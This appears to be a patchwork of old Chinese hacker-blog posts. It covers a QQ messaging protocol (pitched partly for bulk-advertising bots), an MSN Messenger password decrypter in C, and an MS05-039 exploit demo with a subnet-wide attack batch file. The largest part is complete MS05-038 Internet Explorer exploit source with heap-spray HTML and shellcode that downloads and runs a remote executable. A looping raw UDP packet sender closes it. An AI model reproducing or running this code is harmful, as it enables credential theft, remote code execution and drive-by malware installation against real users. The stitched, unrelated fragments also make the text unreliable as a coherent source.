返回:VER=1.1&CMD=Ack_AddToList&SEQ=标记&UIN=QQ号&RES=0(成功)
VER=1.1&CMD=Ack_AddToList&SEQ=标记&UIN=QQ号&RES=3(*)
VER=1.1&CMD=Ack_AddToList&SEQ=标记&UIN=QQ号&RES=20(没有正确登陆)
NULL(UIN、UN、CD为字符,RS为非UTF-8字符)
*如果服务器返回RES=3,那么这次对话的响应时间在20s。当发送验证请求的时候,必须连发2次(请求内容不必一样),其中一条RES=3,对方收不到,一条RES=0,对方能够收到。当CD>=3时,RES=3,响应时间20s。
(6).删除好友
提交数据:VER=1.1&CMD=DelFromList&SEQ=标记&UIN=QQ号&UN=删除的QQ号
返回:VER=1.1&CMD=DelFromList&SEQ=标记&UIN=QQ号&RES=0&(成功)
VER=1.1&CMD=DelFromList&SEQ=标记&UIN=QQ号&RES=3(响应时间30s,重复发送的后果)
VER=1.1&CMD=DelFromList&SEQ=标记&UIN=QQ号&RES=20(没有正确登陆)
NULL(UIN、UN为字符)
(7).改变状态
提交数据:VER=1.1&CMD=Change_Stat&SEQ=标记&UIN=QQ号&ST=状态代码
说明:状态代码:10为上线,20为离线,30为忙碌,40为隐身,其他视为非法
返回:VER=1.1&CMD=Change_Stat&SEQ=标记&UIN=QQ号&RES=0&(成功)
VER=1.1&CMD=Change_Stat&SEQ=标记&UIN=QQ号&RES=3(失败,原因不明,响应时间20s,可能是过于频繁的改变状态引起的)
VER=1.1&CMD=Change_Stat&SEQ=标记&UIN=QQ号&RES=20(没有正确登陆)
NULL(UIN为字符,ST非法)
特别说明:如果你改变好友,将会给所有好友发送一条系统信息,内容就是状态代码;如果隐身,发送的状态代码为20,表示离线。
同理,当你的好友改变状态,你也会收到一条系统信息。
(9).获得消息
提交数据:VER=1.1&CMD=GetMsgEx&SEQ=标记&UIN=QQ号
返回:VER=1.1&CMD=GETMSGEX&SEQ=标记&UIN=QQ号&RES=0&
MN=4&MT=99,99,99,9,&UN=36791785,99833581,99833581,106814,&MG=
20,30,10,hi ,(MN表示信息数量,MT、UN、MG的值用","分割,分别表示消息类型、发送人号码、消息内容)
VER=1.1&CMD=GETMSGEX&SEQ=标记&UIN=QQ号&RES=0&MN=0&MT=&UN=&MG=(表示没有信息)
VER=1.1&CMD=GETMSGEX&SEQ=标记&UIN=QQ号&RES=20(没有正确登陆)
NULL(UIN为字符)
说明:关于MT:
9为用户消息,99为系统消息,2为请求信息,3为通过验证,4为拒绝被加好友
关于MG:
当MT=9时,MG为用户发送的消息内容
当MT=99时,
MG=10(QQ_STATUS_ONLINE)表示对方上线
MG=20(QQ_STATUS_OFFLINE)表示对方下线
MG=30(QQ_STATUS_BUSY)表示对方进入忙碌状态
当MT=2时,MG为对方请求你验证的信息
当MT=3时,表示对方通过你的验证
当MT=4时,MG为对方拒绝你理由
(10).发送消息
提交数据:VER=1.1&CMD=CLTMSG&SEQ=标记&UIN=QQ号&UN=对方QQ号&MG=发送内容
返回:VER=1.1&CMD=CLTMSG&SEQ=标记&UIN=QQ号&RES=0&(成功发送,对方不一定能收到哦)
VER=1.1&CMD=CLTMSG&SEQ=标记&UIN=QQ号&RES=3(发送过快)
VER=1.1&CMD=CLTMSG&SEQ=标记&UIN=QQ号&RES=20(没有正确登陆)
NULL(UIN、UN为字符,MG含非UTF-8字符)
说明:1、当你发消息时,以下情形对方可能看不到(其实是收到了,QQ不提示)你发送的消息:
你俩互为陌生人,且对方没有和你说过话
你在他的陌生人列表里,并且他没有和你说过话(没有验证)
2、当你过快发送消息时,系统会给你一个惩罚,RES=3,相应时间20s
3、当我发送含有小写字母h的信息时,服务器有可能返回NULL
(11).登出
提交数据:VER=1.1&CMD=Logout&SEQ=标记&UIN=QQ号
返回:VER=1.1&CMD=LOGOUT&SEQ=标记&UIN=QQ号&RES=0(成功,好像永远成功的,不管你是否登陆)
NULL(UIN为字符)
5、总结
通过对照以上的接口说明,我开发出了能够实现基本QQ功能的PHP类,它整合了以上所有的接口,使用更方便,可以开发QQ机器人、群发广告程序等。免费获得类的代码请到
http://blog.hackfan.net/index.php?job=art&articleid=a_20050819_223558
本文撰写时间仓促,难免有误,希望各位不吝赐教
/*
* MSN Messenger Password Decrypter for Windows XP & 2003
* (Compiled-VC++ 7.0, tested on WinXP SP2, MSN Messenger 7.0)
* – Gregory R. Panakkal
* http://www.crapware.tk/
* http://www.infogreg.com/
*/
#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>
#pragma comment(lib, "Crypt32.lib")
//Following definitions taken from wincred.h
//[available only in Oct 2002 MS Platform SDK / LCC-Win32 Includes]
typedef struct _CREDENTIAL_ATTRIBUTEA {
LPSTR Keyword;
DWORD Flags;
DWORD ValueSize;
LPBYTE Value;
}
CREDENTIAL_ATTRIBUTEA,*PCREDENTIAL_ATTRIBUTEA;
typedef struct _CREDENTIALA {
DWORD Flags;
DWORD Type;
LPSTR TargetName;
LPSTR Comment;
FILETIME LastWritten;
DWORD CredentialBlobSize;
LPBYTE CredentialBlob;
DWORD Persist;
DWORD AttributeCount;
PCREDENTIAL_ATTRIBUTEA Attributes;
LPSTR TargetAlias;
LPSTR UserName;
} CREDENTIALA,*PCREDENTIALA;
typedef CREDENTIALA CREDENTIAL;
typedef PCREDENTIALA PCREDENTIAL;
////////////////////////////////////////////////////////////////////
typedef BOOL (WINAPI *typeCredEnumerateA)(LPCTSTR, DWORD, DWORD *, PCREDENTIALA **);
typedef BOOL (WINAPI *typeCredReadA)(LPCTSTR, DWORD, DWORD, PCREDENTIALA *);
typedef VOID (WINAPI *typeCredFree)(PVOID);
typeCredEnumerateA pfCredEnumerateA;
typeCredReadA pfCredReadA;
typeCredFree pfCredFree;
////////////////////////////////////////////////////////////////////
void showBanner()
{
printf("MSN Messenger Password Decrypter for Windows XP/2003\n");
printf(" – Gregory R. Panakkal, http://www.infogreg.com \n\n");
}
////////////////////////////////////////////////////////////////////
int main()
{
PCREDENTIAL *CredentialCollection = NULL;
DATA_BLOB blobCrypt, blobPlainText, blobEntropy;
//used for filling up blobEntropy
char szEntropyStringSeed[37] = "82BD0E67-9FEA-4748-8672-D5EFE5B779B0"; //credui.dll
short int EntropyData[37];
short int tmp;
HMODULE hDLL;
DWORD Count, i;
showBanner();
//Locate CredEnumerate, CredRead, CredFree from advapi32.dll
if( hDLL = LoadLibrary("advapi32.dll") )
{
pfCredEnumerateA = (typeCredEnumerateA)GetProcAddress(hDLL, "CredEnumerateA");
pfCredReadA = (typeCredReadA)GetProcAddress(hDLL, "CredReadA");
pfCredFree = (typeCredFree)GetProcAddress(hDLL, "CredFree");
if( pfCredEnumerateA == NULL||
pfCredReadA == NULL ||
pfCredFree == NULL )
{
printf("error!\n");
return -1;
}
}
//Get an array of ‘credential’, satisfying the filter
pfCredEnumerateA("Passport.Net\\*", 0, &Count, &CredentialCollection);
if( Count ) //usually this value is only 1
{
//Calculate Entropy Data
for(i=0; i<37; i++) // strlen(szEntropyStringSeed) = 37
{
tmp = (short int)szEntropyStringSeed[i];
tmp <<= 2;
EntropyData[i] = tmp;
}
for(i=0; i<Count; i++)
{
blobEntropy.pbData = (BYTE *)&EntropyData;
blobEntropy.cbData = 74; //sizeof(EntropyData)
blobCrypt.pbData = CredentialCollection[i]->CredentialBlob;
blobCrypt.cbData = CredentialCollection[i]->CredentialBlobSize;
CryptUnprotectData(&blobCrypt, NULL, &blobEntropy, NULL,
NULL, 1, &blobPlainText);
printf("Username : %s\n", CredentialCollection[i]->UserName);
printf("Password : %ls\n\n", blobPlainText.pbData);
}
}
pfCredFree(CredentialCollection);
}
危害太大,不敢发布。主要在原有公布的基础上进行了两个改进:
1. 能够溢出中文版。
2. 在溢出成功并且断开连接后,目标机器不会重启。
It’s so serious that I won’t release this code. It has been advanced for two points:
1. It can exploit the chinese vision.
2. It will not craft the system after exploit successful.
d:\work>ms05039.exe
================================================
Ms05039 exploit POC
Write By ZwelL
2005.8.13
http://www.donews.net/zwell
zwell@sohu.com
================================================
Usage: D:\zwell\05039\ms05039.exe <host> <listenport> <type 0=english 1=chinese>
d:\work>ms05039.exe 6.0.0.47 5555 1
================================================
Ms05039 exploit POC
Write By ZwelL
2005.8.13
http://www.donews.net/zwell
zwell@sohu.com
================================================
[*]trying to create NULL session…
ok
[*]sending shellcode…
ok
[*]trying to telnet to the bind port 5555, Good luck. ^_^
如果执行成功的话,将会自动连接到目标主机。。。
If exploit successful, it will connect the target by telnet….
建一批处理文件完成网段攻击:
create a bat file to complete a net attack.
@echo off
rem a.bat 6.0.4 1 254 1
rem a.bat [subip] [from] [to] [type]
for /l %%i in (%2,1,%3) do ms05039.exe %1.%%i 5555 %4
执行成功后会生成zwell_ms05038.html文件,运行即可.
/*+++++++++++++++++++++++++++++++++++++++++++++++
Ms05 038 exploit POC
Write By ZwelL
2005 8 11
http://www.donews.net/zwell
zwell@sohu.com
Some code belongs to Lion(cnhonker), regards to him.
This code tested on Windows 2003
———————————————–*/
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32")
// Use for find the ASM code
#define PROC_BEGIN __asm _emit 0×90 __asm _emit 0×90\
__asm _emit 0×90 __asm _emit 0×90\
__asm _emit 0×90 __asm _emit 0×90\
__asm _emit 0×90 __asm _emit 0×90
#define PROC_END PROC_BEGIN
#define SEARCH_STR "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
#define SEARCH_LEN 8
#define MAX_SC_LEN 2048
#define HASH_KEY 13
// Define Decode Parameter
#define DECODE_LEN 21
#define SC_LEN_OFFSET 7
#define ENC_KEY_OFFSET 11
#define ENC_KEY 0xff
// Define Function Addr
#define ADDR_LoadLibraryA [esi]
#define ADDR_GetSystemDirectoryA [esi+4]
#define ADDR_WinExec [esi+8]
#define ADDR_ExitProcess [esi+12]
#define ADDR_URLDownloadToFileA [esi+16]
// Need functions
unsigned char functions[100][128] =
{ // [esi] stack layout
// kernel32 4 // 00 kernel32.dll
{"LoadLibraryA"}, // [esi]
{"GetSystemDirectoryA"}, // [esi+4]
{"WinExec"}, // [esi+8]
{"ExitProcess"}, // [esi+12]
// urlmon 1 // 01 urlmon.dll
{"URLDownloadToFileA"}, // [esi+16]
{""},
};
// Shellcode string
unsigned char sc[1024] = {0};
unsigned int Sc_len;
char *htmlbody1=
"<html><body>\r\n"
"<SCRIPT language=\"javascript\">\r\n"
"shellcode = unescape(\"%u4343%u4343\"+\"";
char *htmlbody2=
"\");\r\n"
"bigblock = unescape(\"%u0D0D%u0D0D\");\r\n"
"headersize = 20;\r\n"
"slackspace = headersize+shellcode.length;\r\n"
"while (bigblock.length<slackspace) bigblock+=bigblock;\r\n"
"fillblock = bigblock.substring(0, slackspace);\r\n"
"block = bigblock.substring(0, bigblock.length-slackspace);\r\n"
"while(block.length+slackspace<0×40000) block = block+block+fillblock;\r\n"
"memory = new Array();\r\n"
"for (i=0;i<750;i++) memory[i] = block + shellcode;\r\n"
"</SCRIPT>\r\n"
"<object classid=\"CLSID:083863F1-70DE-11d0-BD40-00A0C911CE86\"></object>\r\n"
"Ms05038 Exploit POC<br>\r\n"
"Made By ZwelL< http://www.donews.net/zwell>\r\n"
"</html>";
// ASM shellcode main function
void ShellCode();
// Get function hash
static DWORD __stdcall GetHash ( char *c )
{
DWORD h = 0;
while ( *c )
{
__asm ror h, HASH_KEY
h += *c++;
}
return( h );
}
int buildfile(unsigned char *sc, int len)
{
int i;
char writebuf[4096];
char tmp[4096];
FILE *stream;
memset(tmp, 0, 4096);
memset(writebuf, 0, 4096);
for(i = 0; i < len; i++)
{
sprintf(writebuf, "%s%.2x", writebuf, sc[i] & 0xff);
}
if(strlen(writebuf)%4!=0)
strcat(writebuf, "00");
for(i=0; i<(strlen(writebuf)/4); i++)
{
strcat(tmp, "\%u");
strncat(tmp, &writebuf[i*4+2], 2);
strncat(tmp, &writebuf[i*4], 2);
}
//printf("%s\n", writebuf);
//printf("======================\n%s\n", tmp);
if( (stream = fopen( "zwell_ms05038.html", "w+b" )) != NULL )
{
fwrite(htmlbody1, strlen(htmlbody1), 1, stream);
fwrite( tmp, strlen(tmp), 1, stream );
fwrite(htmlbody2, strlen(htmlbody2), 1, stream);
fclose(stream);
}
else
{
printf("fopen wrong\n");
exit(0);
}
return 0;
}
void Make_ShellCode(char *url1)
{
unsigned char *pSc_addr;
unsigned int Enc_key=ENC_KEY;
unsigned long dwHash[100];
unsigned int dwHashSize;
int i,j,k,l;
// Get functions hash
//printf("[+] Get functions hash strings.\r\n");
for (i=0;;i++)
{
if (functions[i][0] == ‘\x0′) break;
dwHash[i] = GetHash((char*)functions[i]);
//printf("\t%.8X\t%s\n", dwHash[i], functions[i]);
}
dwHashSize = i*4;
// Deal with shellcode
pSc_addr = (unsigned char *)ShellCode;
for (k=0;k<MAX_SC_LEN;++k )
{
if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0)
{
break;
}
}
pSc_addr+=(k+SEARCH_LEN); // Start of the ShellCode
for (k=0;k<MAX_SC_LEN;++k)
{
if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0) {
break;
}
}
Sc_len=k; // Length of the ShellCode
memcpy(sc, pSc_addr, Sc_len); // Copy shellcode to sc[]
// Add functions hash
memcpy(sc+Sc_len, (char *)dwHash, dwHashSize);
Sc_len += dwHashSize;
// Add url
memcpy(sc+Sc_len, url1, strlen(url1)+1);
Sc_len += strlen(url1)+1;
// Deal with find the right XOR byte
for(i=0xff; i>0; i–)
{
l = 0;
for(j=DECODE_LEN; j<Sc_len; j++)
{
if (
((sc[j] ^ i) == 0×26) || //%
((sc[j] ^ i) == 0×3d) || //=
((sc[j] ^ i) == 0×3f) || //?
((sc[j] ^ i) == 0×40) || //@
((sc[j] ^ i) == 0×00) ||
((sc[j] ^ i) == 0×0D) ||
((sc[j] ^ i) == 0×0A)
) // Define Bad Characters
{
l++; // If found the right XOR byte,l equals 0
break;
};
}
if (l==0)
{
Enc_key = i;
//printf("[+] Find XOR Byte: 0x%02X\n", i);
for(j=DECODE_LEN; j<Sc_len; j++)
{
sc[j] ^= Enc_key;
}
break; // If found the right XOR byte, Break
}
}
// Deal with not found XOR byte
if (l!=0)
{
printf("[-] No xor byte found!\r\n");
exit(-1);
}
// Deal with DeCode string
*(unsigned char *)&sc[SC_LEN_OFFSET] = Sc_len;
*(unsigned char *)&sc[ENC_KEY_OFFSET] = Enc_key;
printf("[+] download url:%s\n", url1);
}
int help()
{
printf("Usage : ms05038.exe url [-t] \n");
printf(" the ‘t’ option will let you test for the shellcode first\n");
exit(0);
}
void main(int argc, char **argv)
{
WSADATA wsa;
unsigned char url[255]={0};
BOOL b_test;
printf("\n========================================\n");
printf("Ms05-038 exploit POC\n");
printf("Write By Zwell\n");
printf("2005-8-11\n");
printf("http://www.donews.net/zwell\n");
printf("zwell@sohu.com\n");
printf("========================================\n\n");
b_test=FALSE;
if(argc<2)
help();
strncpy(url, argv[1], 255);
if(argc == 3)
if(!strcmp(argv[2], "-t"))
b_test = TRUE;
WSAStartup(MAKEWORD(2,2),&wsa);
Make_ShellCode(url);
printf("[+] Build shellcode successful\n");
buildfile(sc, Sc_len);
printf("[+] Build file successful\n");
printf("Now, you can open the builded file(zwell_ms05038.html) with IE to see the result.Good Luck ^_^\n");
if(b_test)
{
printf("Testing the shellcode…\n");
((void (*)(void)) &sc)();
}
return;
}
// ShellCode function
void ShellCode()
{
__asm
{
PROC_BEGIN // C macro to begin proc
//——————————————————————–
//
// DeCode
//
//——————————————————————–
jmp short decode_end
decode_start:
pop ebx // Decode start addr (esp -> ebx)
dec ebx
xor ecx,ecx
mov cl,0xFF // Decode len
decode_loop:
xor byte ptr [ebx+ecx],ENC_KEY // Decode key
loop decode_loop
jmp short decode_ok
decode_end:
call decode_start
decode_ok:
//——————————————————————–
//
// ShellCode
//
//——————————————————————–
jmp sc_end
sc_start:
pop edi // Hash string start addr (esp -> edi)
// Get kernel32.dll base addr
mov eax, fs:0×30 // PEB
mov eax, [eax+0x0c] // PROCESS_MODULE_INFO
mov esi, [eax+0x1c] // InInitOrder.flink
lodsd // eax = InInitOrder.blink
mov ebp, [eax+8] // ebp = kernel32.dll base address
mov esi, edi // Hash string start addr -> esi
// Get function addr of kernel32
push 4
pop ecx
getkernel32:
call GetProcAddress_fun
loop getkernel32
// Get function addr of urlmon
push 0×00006e6f
push 0×6d6c7275 // urlmon
push esp
call ADDR_LoadLibraryA // LoadLibraryA("urlmon");
mov ebp, eax // ebp = urlmon.dll base address
/*
push 1
pop ecx
geturlmon:
call GetProcAddress_fun
loop geturlmon
*/
call GetProcAddress_fun
// url start addr = edi
//LGetSystemDirectoryA:
sub esp, 0×20
mov ebx, esp
push 0×20
push ebx
call ADDR_GetSystemDirectoryA // GetSystemDirectoryA
//LURLDownloadToFileA:
// eax = system path size
// URLDownloadToFileA url save to a.exe
mov dword ptr [ebx+eax], 0×652E615C // "\a.e"
mov dword ptr [ebx+eax+0x4], 0×00006578 // "xe"
xor eax, eax
push eax
push eax
push ebx // %systemdir%\a.exe
push edi // url
push eax
call ADDR_URLDownloadToFileA // URLDownloadToFileA
//LWinExec:
mov ebx, esp
push eax
push ebx
call ADDR_WinExec // WinExec(%systemdir%\a.exe);
Finished:
//push 1
call ADDR_ExitProcess // ExitProcess();
GetProcAddress_fun:
push ecx
push esi
mov esi, [ebp+0x3C] // e_lfanew
mov esi, [esi+ebp+0x78] // ExportDirectory RVA
add esi, ebp // rva2va
push esi
mov esi, [esi+0x20] // AddressOfNames RVA
add esi, ebp // rva2va
xor ecx, ecx
dec ecx
find_start:
inc ecx
lodsd
add eax, ebp
xor ebx, ebx
hash_loop:
movsx edx, byte ptr [eax]
cmp dl, dh
jz short find_addr
ror ebx, HASH_KEY // hash key
add ebx, edx
inc eax
jmp short hash_loop
find_addr:
cmp ebx, [edi] // compare to hash
jnz short find_start
pop esi // ExportDirectory
mov ebx, [esi+0x24] // AddressOfNameOrdinals RVA
add ebx, ebp // rva2va
mov cx, [ebx+ecx*2] // FunctionOrdinal
mov ebx, [esi+0x1C] // AddressOfFunctions RVA
add ebx, ebp // rva2va
mov eax, [ebx+ecx*4] // FunctionAddress RVA
add eax, ebp // rva2va
stosd // function address save to [edi]
pop esi
pop ecx
ret
sc_end:
call sc_start
PROC_END //C macro to end proc
}
}
今天终于看到phrack出63期了,期待已久了.告别值得高兴的是上面有两篇是中国人写的,太开心了…
为san和cooq贺彩~!~!~!
/*++
闲着无聊写了个UDP的原始发包程序,大部分代码是从Windows网络编程中COPY过来的
改了一点点.直接调用sendudp就可以用来发送原始UDP包了.
Author:ZwelL
Home:http://www.donews.net/zwell
–*/
#ifndef WIN32_LEAN_AND_MEAN
#define WIN32_LEAN_AND_MEAN
#endif
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32")
// Set the packing to a 1 byte boundary
#include <pshpack1.h>
//
// Define the IPv4 header. Make the version and length field one
// character since we can’t declare two 4 bit fields without
// the compiler aligning them on at least a 1 byte boundary.
//
typedef struct ip_hdr
{
unsigned char ip_verlen; // 4-bit IPv4 version
// 4-bit header length (in 32-bit words)
unsigned char ip_tos; // IP type of service
unsigned short ip_totallength; // Total length
unsigned short ip_id; // Unique identifier
unsigned short ip_offset; // Fragment offset field
unsigned char ip_ttl; // Time to live
unsigned char ip_protocol; // Protocol(TCP,UDP etc)
unsigned short ip_checksum; // IP checksum
unsigned int ip_srcaddr; // Source address
unsigned int ip_destaddr; // Source address
} IPV4_HDR, *PIPV4_HDR, FAR * LPIPV4_HDR;
//
// Define the UDP header
//
typedef struct udp_hdr
{
unsigned short src_portno; // Source port no.
unsigned short dst_portno; // Dest. port no.
unsigned short udp_length; // Udp packet length
unsigned short udp_checksum; // Udp checksum (optional)
} UDP_HDR, *PUDP_HDR;
// Restore the byte boundary back to the previous value
#include <poppack.h>
//
// Function: checksum
//
// Description:
// This function calculates the 16-bit one’s complement sum
// for the supplied buffer.
//
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while (size > 1)
{
cksum += *buffer++;
size -= sizeof(USHORT);
}
if (size)
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
//
// Function: InitIpv4Header
//
// Description:
// Initialize the IPv4 header with the version, header length,
// total length, ttl, protocol value, and source and destination
// addresses.
//
int InitIpv4Header(
char *buf,
char *src,
char *dest,
int payloadlen
)
{
IPV4_HDR *v4hdr=NULL;
v4hdr = (IPV4_HDR *)buf;
v4hdr->ip_verlen = (4 << 4) | (sizeof(IPV4_HDR) / sizeof(unsigned long));
v4hdr->ip_tos = 0;
v4hdr->ip_totallength = htons(sizeof(IPV4_HDR) + payloadlen);
v4hdr->ip_id = 0;
v4hdr->ip_offset = 0;
v4hdr->ip_ttl = 128;
v4hdr->ip_protocol = 0×11;
v4hdr->ip_checksum = 0;
v4hdr->ip_srcaddr = inet_addr(src);
v4hdr->ip_destaddr = inet_addr(dest);
v4hdr->ip_checksum = checksum((unsigned short *)v4hdr, sizeof(IPV4_HDR));
return sizeof(IPV4_HDR);
}
//
// Function: ComputeUdpPseudoHeaderChecksumV4
//
// Description:
// Compute the UDP pseudo header checksum. The UDP checksum is based
// on the following fields:
// o source IP address
// o destination IP address
// o 8-bit zero field
// o 8-bit protocol field
// o 16-bit UDP length
// o 16-bit source port
// o 16-bit destination port
// o 16-bit UDP packet length
// o 16-bit UDP checksum (zero)
// o UDP payload (padded to the next 16-bit boundary)
// This routine copies these fields to a temporary buffer and computes
// the checksum from that.
//
void ComputeUdpPseudoHeaderChecksumV4(
void *iphdr,
UDP_HDR *udphdr,
char *payload,
int payloadlen
)
{
IPV4_HDR *v4hdr=NULL;
unsigned long zero=0;
char buf[1000],
*ptr=NULL;
int chksumlen=0,
i;
ptr = buf;
v4hdr = (IPV4_HDR *)iphdr;
// Include the source and destination IP addresses
memcpy(ptr, &v4hdr->ip_srcaddr, sizeof(v4hdr->ip_srcaddr));
ptr += sizeof(v4hdr->ip_srcaddr);
chksumlen += sizeof(v4hdr->ip_srcaddr);
memcpy(ptr, &v4hdr->ip_destaddr, sizeof(v4hdr->ip_destaddr));
ptr += sizeof(v4hdr->ip_destaddr);
chksumlen += sizeof(v4hdr->ip_destaddr);
// Include the 8 bit zero field
memcpy(ptr, &zero, 1);
ptr++;
chksumlen += 1;
// Protocol
memcpy(ptr, &v4hdr->ip_protocol, sizeof(v4hdr->ip_protocol));
ptr += sizeof(v4hdr->ip_protocol);
chksumlen += sizeof(v4hdr->ip_protocol);
// UDP length
memcpy(ptr, &udphdr->udp_length, sizeof(udphdr->udp_length));
ptr += sizeof(udphdr->udp_length);
chksumlen += sizeof(udphdr->udp_length);
// UDP source port
memcpy(ptr, &udphdr->src_portno, sizeof(udphdr->src_portno));
ptr += sizeof(udphdr->src_portno);
chksumlen += sizeof(udphdr->src_portno);
// UDP destination port
memcpy(ptr, &udphdr->dst_portno, sizeof(udphdr->dst_portno));
ptr += sizeof(udphdr->dst_portno);
chksumlen += sizeof(udphdr->dst_portno);
// UDP length again
memcpy(ptr, &udphdr->udp_length, sizeof(udphdr->udp_length));
ptr += sizeof(udphdr->udp_length);
chksumlen += sizeof(udphdr->udp_length);
// 16-bit UDP checksum, zero
memcpy(ptr, &zero, sizeof(unsigned short));
ptr += sizeof(unsigned short);
chksumlen += sizeof(unsigned short);
// payload
memcpy(ptr, payload, payloadlen);
ptr += payloadlen;
chksumlen += payloadlen;
// pad to next 16-bit boundary
for(i=0 ; i < payloadlen%2 ; i++, ptr++)
{
printf("pad one byte\n");
*ptr = 0;
ptr++;
chksumlen++;
}
// Compute the checksum and put it in the UDP header
udphdr->udp_checksum = checksum((USHORT *)buf, chksumlen);
return;
}
//
// Function: InitUdpHeader
//
// Description:
// Setup the UDP header which is fairly simple. Grab the ports and
// stick in the total payload length.
//
int InitUdpHeader(
char *buf,
int srcprt,
int dstprt,
int payloadlen
)
{
UDP_HDR *udphdr=NULL;
udphdr = (UDP_HDR *)buf;
udphdr->src_portno = htons(srcprt);
udphdr->dst_portno = htons(dstprt);
udphdr->udp_length = htons(sizeof(UDP_HDR) + payloadlen);
return sizeof(UDP_HDR);
}
//
// Function: sendudp
//
// Description:
// Send the udp packets with RAW SOCKET
//
int sendudp(char *srcip, char *dstip, int srcprt, int dstprt, char *buf, int bufsize)
{
WSADATA wsd;
SOCKET s;
char sendbuf[1000]={0};
int iphdrlen,
allsize,
udphdrlen;
int optlevel,
option,
optval,
rc;
SOCKADDR_IN ReceiverAddr;
ReceiverAddr.sin_family = AF_INET;
ReceiverAddr.sin_port = htons(dstprt);
ReceiverAddr.sin_addr.s_addr = inet_addr(dstip);
allsize = sizeof(IPV4_HDR) + sizeof(UDP_HDR) + bufsize;
if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
{
printf("WSAStartup() failed: %d\n", GetLastError());
return -1;
}
s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
if (s == INVALID_SOCKET)
{
fprintf(stderr, "socket failed: %d\n", WSAGetLastError());
return -1;
}
// Enable the IP header include option
optval = 1;
optlevel = IPPROTO_IP;
option = IP_HDRINCL;
rc = setsockopt(s, optlevel, option, (char *)&optval, sizeof(optval));
if (rc == SOCKET_ERROR)
{
fprintf(stderr, "setsockopt: IP_HDRINCL failed: %d\n", WSAGetLastError());
return -1;
}
// Initialize the v4 header
iphdrlen = InitIpv4Header(
sendbuf,
srcip,
dstip,
bufsize
);
// Initialize the UDP header
udphdrlen = InitUdpHeader(
&sendbuf[iphdrlen],
srcprt,
dstprt,
bufsize
);
// Compute the UDP checksum
ComputeUdpPseudoHeaderChecksumV4(
sendbuf,
(UDP_HDR *)&sendbuf[iphdrlen],
buf,
bufsize
);
// Copy the payload to the end of the header
memcpy(&sendbuf[iphdrlen + udphdrlen], buf, bufsize);
rc = sendto(
s,
sendbuf,
allsize,
0,
(const struct sockaddr*)&ReceiverAddr,
sizeof(ReceiverAddr)
);
if (rc == SOCKET_ERROR)
{
printf("sendto() failed: %d\n", WSAGetLastError());
}
else
{
printf("sent %d bytes\n", rc);
}
closesocket(s) ;
WSACleanup() ;
return 0;
}
int main(int argc, char **argv)
{
while(1)
sendudp("192.168.1.104", "192.168.1.1", 5555, 5555, "test\x00\x55", 6);
getchar();
return 0;
}
